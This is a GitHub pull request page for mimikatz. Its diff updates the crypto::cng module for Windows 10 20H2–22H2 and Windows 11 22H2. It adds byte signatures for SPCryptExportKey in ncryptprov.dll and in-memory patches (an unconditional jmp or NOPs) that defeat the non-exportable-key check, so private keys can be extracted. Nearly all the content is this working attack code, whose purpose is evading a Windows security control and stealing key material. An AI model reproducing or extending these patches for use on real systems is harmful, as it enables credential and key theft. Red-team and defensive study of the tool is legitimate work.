Skip to content

Update crypto::cng for Win10 x64 20H2, 21H2, 22H2 + Win11 22H2 #413

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
hubert3 wants to merge 2 commits into
base: master
Choose a base branch
from
Open

Update crypto::cng for Win10 x64 20H2, 21H2, 22H2 + Win11 22H2 #413

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
208c1d2
Update crypto::cng for Win10 x64 20H2, 21H2, 22H2 based on latest ncr…
4050 May 9, 2023
c2ad865
Add crypto::cng patch tested on Win11 x64 22H2 (ncryptprov.dll 10.0.2…
4050 May 9, 2023
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion inc/globals.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@
#define MIMIKATZ L"mimikatz"
#define MIMIKATZ_VERSION L"2.2.0"
#define MIMIKATZ_CODENAME L"A La Vie, A L\'Amour"
#define MIMIKATZ_MAX_WINBUILD L"19041"
#define MIMIKATZ_MAX_WINBUILD L"22601"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") #" MIMIKATZ_MAX_WINBUILD L" " TEXT(__DATE__) L" " TEXT(__TIME__)
#define MIMIKATZ_SECOND L"\"" MIMIKATZ_CODENAME L"\""
#define MIMIKATZ_DEFAULT_LOG MIMIKATZ L".log"
Expand Down Expand Up @@ -119,7 +119,9 @@ DWORD MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NU
#define KULL_M_WIN_BUILD_10_2004 19041
#define KULL_M_WIN_BUILD_10_20H2 19042
#define KULL_M_WIN_BUILD_10_21H2 19044
#define KULL_M_WIN_BUILD_10_22H2 19045
#define KULL_M_WIN_BUILD_2022 20348
#define KULL_M_WIN_BUILD_11_22H2 22621

#define KULL_M_WIN_MIN_BUILD_XP 2500
#define KULL_M_WIN_MIN_BUILD_2K3 3000
Expand All @@ -130,6 +132,7 @@ DWORD MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NU
#define KULL_M_WIN_MIN_BUILD_10 9800
#define KULL_M_WIN_MIN_BUILD_11 22000


/* mimikatz 3 transition */
#define PRINT_ERROR_NUMBER(func, error) PRINT_ERROR(func L": 0x%08x\n", error)

Expand Down
15 changes: 10 additions & 5 deletions mimikatz/modules/crypto/kuhl_m_crypto_patch.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -103,8 +103,8 @@ NTSTATUS kuhl_m_crypto_p_capi(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}

BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb};
BYTE PATC_W10_1607_SPCryptExportKey_EXPORT[]= {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; //patch to jmp (unconditional jump)
BYTE PATC_W10_1607_SPCryptExportKey_EXPORT[]= {0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; //6x NOP
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85};
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75};
Expand All @@ -114,9 +114,11 @@ BYTE PTRN_W10_1607_SPCryptExportKey[] = {0xf6, 0x46, 0x24, 0x02, 0x0f, 0x84};
BYTE PTRN_W10_1703_SPCryptExportKey[] = {0xf6, 0x46, 0x24, 0x0a, 0x0f, 0x84};
BYTE PTRN_W10_1809_SPCryptExportKey[] = {0xf6, 0x45, 0x24, 0x02, 0x0f, 0x84};
BYTE PTRN_W10_20H2_SPCryptExportKey[] = {0xf6, 0x45, 0x24, 0x02, 0x75, 0x46};
BYTE PTRN_W11_22H2_SPCryptExportKey[] = {0xf6, 0x46, 0x24, 0x02, 0x75, 0x2d};

BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
KULL_M_PATCH_GENERIC CngReferences[] = {
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WI60_SPCryptExportKey), PTRN_WI60_SPCryptExportKey}, {sizeof(PATC_WI60_SPCryptExportKey_EXPORT), PATC_WI60_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WI60_SPCryptExportKey), PTRN_WI60_SPCryptExportKey}, {sizeof(PATC_WI60_SPCryptExportKey_EXPORT), PATC_WI60_SPCryptExportKey_EXPORT}, {4}}, //last parameter is offset from start of search pattern where patch will be applied
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WNO8_SPCryptExportKey), PTRN_WNO8_SPCryptExportKey}, {sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_WI80_SPCryptExportKey), PTRN_WI80_SPCryptExportKey}, {sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WI81_SPCryptExportKey), PTRN_WI81_SPCryptExportKey}, {sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}},
Expand All @@ -126,8 +128,11 @@ KULL_M_PATCH_GENERIC CngReferences[] = {
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_W10_1809_SPCryptExportKey),PTRN_W10_1809_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_10_1909, {sizeof(PTRN_W10_1809_SPCryptExportKey),PTRN_W10_1809_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.18362.1411
{KULL_M_WIN_BUILD_10_2004, {sizeof(PTRN_W10_1607_SPCryptExportKey),PTRN_W10_1607_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.19041.662
{KULL_M_WIN_BUILD_10_20H2, {sizeof(PTRN_W10_20H2_SPCryptExportKey),PTRN_W10_20H2_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.19041.1620
{KULL_M_WIN_BUILD_10_21H2, {sizeof(PTRN_W10_1607_SPCryptExportKey),PTRN_W10_1607_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.19041.1202
{KULL_M_WIN_BUILD_10_20H2, {sizeof(PTRN_W10_20H2_SPCryptExportKey),PTRN_W10_20H2_SPCryptExportKey},{sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.19041.1620 or .2193
{KULL_M_WIN_BUILD_10_21H2, {sizeof(PTRN_W10_20H2_SPCryptExportKey),PTRN_W10_20H2_SPCryptExportKey},{sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.19041.1620 or .2193
{KULL_M_WIN_BUILD_10_22H2, {sizeof(PTRN_W10_20H2_SPCryptExportKey),PTRN_W10_20H2_SPCryptExportKey},{sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.19041.1620 or .2193
{KULL_M_WIN_BUILD_11_22H2, {sizeof(PTRN_W11_22H2_SPCryptExportKey),PTRN_W11_22H2_SPCryptExportKey},{sizeof(PATC_WALL_SPCryptExportKey_EXPORT), PATC_WALL_SPCryptExportKey_EXPORT}, {4}}, //ncryptprov.dll 10.0.22621.1635 and maybe others

};
#elif defined _M_IX86
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
Expand Down